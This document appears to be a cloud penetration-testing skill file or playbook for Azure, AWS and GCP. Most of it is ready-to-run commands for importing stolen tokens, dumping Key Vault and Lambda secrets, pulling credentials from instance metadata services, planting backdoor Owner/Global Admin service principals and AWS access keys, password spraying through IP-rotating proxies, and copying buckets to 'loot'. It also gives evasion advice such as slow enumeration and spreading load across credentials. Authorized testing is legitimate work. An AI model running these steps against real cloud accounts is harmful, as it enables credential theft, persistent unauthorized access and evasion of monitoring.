Cloud Penetration Testing

Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

• Cloud architecture fundamentals
• Identity and Access Management (IAM)
• API authentication mechanisms
• DevOps and automation concepts

Required Access

• Written authorization for testing
• Test credentials or access tokens
• Defined scope and rules of engagement

Outputs and Deliverables

1. Cloud Security Assessment Report - Comprehensive findings and risk ratings
2. Resource Inventory - Enumerated services, storage, and compute instances
3. Credential Findings - Exposed secrets, keys, and misconfigurations
4. Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

# Azure: Get federation info
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done

Phase 10: GCP Enumeration

Discover GCP resources:

# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info

Phase 11: GCP Exploitation

Exploit GCP misconfigurations:

# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

Quick Reference

Azure Key Commands

AWS Key Commands

GCP Key Commands

Metadata Service URLs

Useful Tools

Constraints and Limitations

Legal Requirements

• Only test with explicit written authorization
• Respect scope boundaries between cloud accounts
• Do not access production customer data
• Document all testing activities

Technical Limitations

• MFA may prevent credential-based attacks
• Conditional Access policies may restrict access
• CloudTrail/Activity Logs record all API calls
• Some resources require specific regional access

Detection Considerations

• Cloud providers log all API activity
• Unusual access patterns trigger alerts
• Use slow, deliberate enumeration
• Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

Troubleshooting

Authentication Failures

Problem: Cannot authenticate to cloud service

Solutions:

1. Verify credentials are correct and active
2. Check for MFA requirements
3. Ensure correct tenant/subscription/project specified
4. Try alternative authentication methods
5. Check for conditional access restrictions

Permission Denied

Problem: Enumeration commands fail with access denied

Solutions:

1. List current roles: Get-AzRoleAssignment, aws iam list-attached-user-policies
2. Try different resources within scope
3. Check for resource-specific policies
4. Verify correct subscription/region selected
5. Some resources require explicit permissions

Metadata Service Blocked

Problem: Cannot access instance metadata

Solutions:

1. Check if IMDSv2 is required (AWS)
2. Verify instance has appropriate role attached
3. Check for firewall rules blocking 169.254.169.254
4. Try from different network context
5. Some instances have metadata disabled

Rate Limiting

Problem: API calls being throttled

Solutions:

1. Add delays between requests
2. Spread queries across regions
3. Use multiple credentials if available
4. Focus enumeration on high-value targets
5. Cache results to avoid repeated queries